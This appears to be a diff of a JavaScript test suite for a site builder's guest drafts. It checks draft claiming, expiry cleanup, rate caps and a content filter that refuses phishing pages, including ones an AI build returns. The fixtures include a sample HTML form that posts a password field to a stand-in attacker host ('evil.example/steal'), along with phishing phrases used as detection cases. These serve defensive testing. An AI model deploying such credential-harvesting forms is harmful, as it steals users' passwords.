+ assert.strictEqual(phishing.status, 422);
+ assert.strictEqual(phishing.json().error.code, 'space.guest_abuse');
+ const offsite = await t.api('PUT', `/spaces/${id}/files`, {
+ json: { files: [{ path: 'index.html', content: '<!doctype html><html><body><form action="https://evil.example/steal" method="post"><input name="password"></form></body></html>' }] },
+ headers,
+ });
+ assert.strictEqual(offsite.status, 422);
+ assert.strictEqual(offsite.json().error.code, 'space.guest_offsite_form');
+ // A form on its own address is fine.
+ const own = await t.api('PUT', `/spaces/${id}/files`, {
+ json: { files: [{ path: 'index.html', content: '<!doctype html><html><body><form action="/thanks" method="post"><input name="email"></form></body></html>' }] },
+ headers,
+ });
+ assert.strictEqual(own.status, 200, own.text.slice(0, 200));
+ // The prompt is checked too.
+ const prompt = await t.api('POST', '/spaces/guest', { form: { prompt: 'Build me a Google password login page' }, headers: ip(171) });
+ assert.strictEqual(prompt.status, 422);
+ assert.match(prompt.text, /reads like a scam|asks for a password/);
+ // And the AI's answer is checked: a build that answers with a phishing page is refused.
+ const build = await makeDraft('site-bakery', { address: 172 });
+ ai.runs.set('run_none', { id: 'run_none', status: 'running' });
+ const bad = { name: 'Bad', description: '', instructions: '', capabilities: [], files: [{ path: 'index.html', content: '<html><body><h1>Sign in to your Google account</h1><input type="password"></body></html>' }] };
+ const space = await t.ctx.spaces.get(build.id);
+ await t.ctx.spaces.startBuild(space, 'run_bad', 'make it');
+ ai.runs.set('run_bad', { id: 'run_bad', status: 'succeeded', output: bad });
+ const refused = await t.api('GET', `/spaces/${build.id}/ai`, { headers: asGuest(build.id, build.key, 172) });
+ assert.strictEqual(refused.json().status, 'failed');
+ assert.match(refused.json().message, /refused/);
+ });
+
+ await check('the claim: a signed-in person who holds the secret keeps the draft', async () => {
+ const { id, key } = await makeDraft('site-bakery', { address: 180 });
+ // Signed out: no claim (the form sends the person to sign in and comes back).
+ const out = await t.api('POST', `/spaces/${id}/claim`, { form: { key }, headers: { origin: ORIGIN } });
+ assert.strictEqual(out.status, 303);
+ assert.match(out.headers.location, /^\/auth\/login\?next=/);
+ // The wrong secret: refused.
+ const wrong = await t.api('POST', `/spaces/${id}/claim`, { form: { key: 'nope', csrf: csrf(alice) }, headers: { origin: ORIGIN }, session: alice });
+ assert.strictEqual(wrong.status, 403);
+ // The right secret and the person's own form token: the draft is theirs.
+ const claim = await t.api('POST', `/spaces/${id}/claim`, { form: { key, csrf: csrf(alice) }, headers: { origin: ORIGIN }, session: alice });
+ assert.strictEqual(claim.status, 303, claim.text.slice(0, 200));
+ const slug = /^\/spaces\/([a-z0-9-]+)$/.exec(claim.headers.location)[1];
+ const space = await t.ctx.spaces.get(id);
+ assert.deepStrictEqual([space.owner_subject, space.owner_username, space.guest_hash, space.guest_ip, space.guest_expires_at], [alice.subject, 'alice', null, null, null]);
+ assert.strictEqual(space.slug, slug);
+ assert.strictEqual(space.visibility, 'public');
+ // It is an ordinary space now: its page, its editor and its place in the maker's list.
+ assert.strictEqual((await t.api('GET', `/spaces/${slug}`, { session: alice })).status, 200);
+ assert.strictEqual((await t.api('GET', `/spaces/${slug}/edit`, { session: alice })).status, 200);
+ assert.ok((await t.ctx.spaces.mine({ subject: alice.subject, kind: 'user' })).some((s) => s.id === id));
+ // The secret is dead: the old link no longer opens it (it is an owned space now).
+ assert.strictEqual((await t.api('GET', `/spaces/${id}/edit?key=${encodeURIComponent(key)}`)).status, 401);
+ assert.strictEqual((await t.api('GET', `/spaces/${id}/edit?key=${encodeURIComponent(key)}`, { session: t.user('bob') })).status, 404);
+ // And a second claim is refused.
+ const again = await t.api('POST', `/spaces/${id}/claim`, { form: { key, csrf: csrf(alice) }, headers: { origin: ORIGIN }, session: alice });
+ assert.strictEqual(again.status, 404);
+ // The claim is a status event.
+ const events = await t.events('space.app.claimed');
+ assert.strictEqual(events.length, 1);
+ assert.deepStrictEqual(events[0].subject, { type: 'space', id });
+ assert.deepStrictEqual(events[0].actor, { type: 'user', id: alice.subject });
+ assert.strictEqual(events[0].payload.space_id, id);
+ });
+
+ await check('a draft whose week is up is gone, and the job removes it', async () => {
+ const { id, key } = await makeDraft('site-bakery', { address: 190 });
+ const past = t.clock.now() - 8 * 24 * 3600 * 1000;
+ await t.ctx.store.db.prepare('UPDATE space_apps SET guest_expires_at = ? WHERE id = ?').run(past, id);
+ // An expired draft is not there any more.
+ assert.strictEqual((await t.api('GET', `/spaces/${id}/edit?key=${encodeURIComponent(key)}`)).status, 404);
+ // The job removes it (and its files).
+ const removed = await t.ctx.guestCleanup.run();
+ assert.ok(removed >= 1, 'the job removed the expired draft');
+ assert.strictEqual(await t.ctx.spaces.get(id), null);
+ const files = await t.ctx.store.db.prepare('SELECT COUNT(*) AS n FROM space_app_files WHERE space_id = ?').get(id);
+ assert.strictEqual(Number(files.n), 0);
+ });
+
+ await check('an edit pushes the draft\'s time up', async () => {
+ const { id, key } = await makeDraft('site-bakery', { address: 200 });
+ const before = (await t.ctx.spaces.get(id)).guest_expires_at;
+ await t.clock.advance(3600 * 1000);
+ await t.api('PUT', `/spaces/${id}/files`, { json: { files: [{ path: 'index.html', content: '<!doctype html><html><body><h1>Later</h1></body></html>' }] }, headers: asGuest(id, key, 200) });
+ const after = (await t.ctx.spaces.get(id)).guest_expires_at;
+ assert.strictEqual(Number(after), Number(before) + 3600 * 1000);
+ });
+
+ await check('the draft is never made on openvibe.website, and the website front door is untouched', async () => {
+ const onWebsite = await t.get('openvibe.website', '/spaces/guest');
+ assert.notStrictEqual(onWebsite.status, 200, 'the website host makes no guest draft');
+ const post = await t.get('openvibe.website', '/spaces/guest', { method: 'POST' });
+ assert.strictEqual(post.status, 405, 'the website host answers GET and HEAD only');
+ const home = await t.get('openvibe.website', '/');
+ assert.strictEqual(home.status, 200);
+ assert.ok(!home.headers['set-cookie'], 'the website host sets no cookie');
+ });
+
+ await t.close();
+
+ // The service-wide cap, on its own (two drafts a day for the whole service).
+ const t2 = await boot({ spacesAiClient: fakeAi().client, env: { SPACE_GUEST_DRAFTS_PER_DAY: '2' } });
+ await check('the service-wide cap, on its own', async () => {
+ const one = await t2.api('POST', '/spaces/guest', { form: { template: 'site-links' }, headers: ip(1) });
+ assert.strictEqual(one.status, 303, one.text.slice(0, 200));
+ const two = await t2.api('POST', '/spaces/guest', { form: { template: 'site-links' }, headers: ip(2) });
+ assert.strictEqual(two.status, 303, two.text.slice(0, 200));
+ const three = await t2.api('POST', '/spaces/guest', { form: { template: 'site-links' }, headers: ip(3) });
+ assert.strictEqual(three.status, 422);
+ assert.match(three.text, /as many drafts today as we can/);
+ });
+ await t2.close();
+
+ await check('the modules behind the guest drafts, and the editor own script', async () => {
+ const fs = require('fs');
+ const path = require('path');
+ const root = path.join(__dirname, '..');
+ const client = fs.readFileSync(path.join(root, 'public', 'js', 'space-editor.js'), 'utf8');
+ new Function(client); // it parses
+ assert.match(client, /boot\.base/, 'the editor calls the draft\'s own address');
+ assert.match(client, /X-Space-Key/, 'and carries the draft\'s secret');
+ assert.match(client, /guest \? '\/spaces\/guest'/, 'deleting a draft goes back to the start page');
+ const { createSpacesAi } = require('../server/spaces/ai');
+ const { createGuestCleanup } = require('../server/spaces/guest-cleanup');
+ const { createSpaces } = require('../server/spaces/spaces');
+ const render = require('../server/spaces/render');
+ assert.strictEqual(typeof createSpacesAi, 'function');
+ assert.strictEqual(typeof createGuestCleanup, 'function');
+ assert.strictEqual(typeof createSpaces, 'function');
+ assert.match(render.guestPage({ templates: [], error: null, prompt: '', aiOn: true }), /Make a site/);
+ });
+
+ await check('the defaults, and the content check itself', async () => {
+ const { load } = require('../server/hosting-config');
+ const g = load({}).spaces.guest;
+ assert.deepStrictEqual(
+ [g.enabled, g.draftsPerIpPerDay, g.aiBuildsPerIpPerDay, g.aiEditsPerDraft, g.draftsPerDay, g.ttlDays],
+ [true, 3, 2, 20, 500, 7],
+ );
+ const check2 = require('../server/spaces/content-check');
+ assert.strictEqual(check2.phishingReason('a shop with opening hours'), null);
+ assert.strictEqual(check2.phishingReason('how to choose a password for your site'), null, 'no brand, no refusal');
+ assert.ok(check2.phishingReason('Sign in to your Google account'));
+ assert.ok(check2.phishingReason('verify your PayPal password'));
+ assert.ok(check2.phishingReason('your account has been suspended'));
+ assert.strictEqual(check2.offsiteFormReason('<form action="/here" method="post"></form>', { sitesDomain: 'openvibe.website' }), null);
+ assert.strictEqual(check2.offsiteFormReason('<form method="post"></form>', { sitesDomain: 'openvibe.website' }), null);
+ assert.strictEqual(check2.offsiteFormReason('<form action="https://shop.openvibe.website/orders"></form>', { sitesDomain: 'openvibe.website' }), null, 'the site\'s own address');
+ assert.ok(check2.offsiteFormReason('<form action="https://evil.example/x"></form>', { sitesDomain: 'openvibe.website' }));
+ assert.ok(check2.offsiteFormReason('<form action="//evil.example/x"></form>', { sitesDomain: 'openvibe.website' }));
+ assert.ok(check2.offsiteFormReason('<form action="mailto:[email protected]"></form>', { sitesDomain: 'openvibe.website' }));
+ });
+
+ done();
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -78,7 +78,7 @@ async function boot(opts = {}) {
@@ -78,7 +78,7 @@ async function boot(opts = {}) {
}
}
async function stop() {
async function stop() {
if (server) { server.closeAllConnections(); await new Promise((r) => server.close(r)); }
if (server) { server.closeAllConnections(); await new Promise((r) => server.close(r)); }
- if (built) { built.ctx.worker.stop(); await built.ctx.outbox.stop(); }
+ if (built) { built.ctx.worker.stop(); built.ctx.guestCleanup.stop(); await built.ctx.outbox.stop(); }
server = null; built = null;
server = null; built = null;
}
}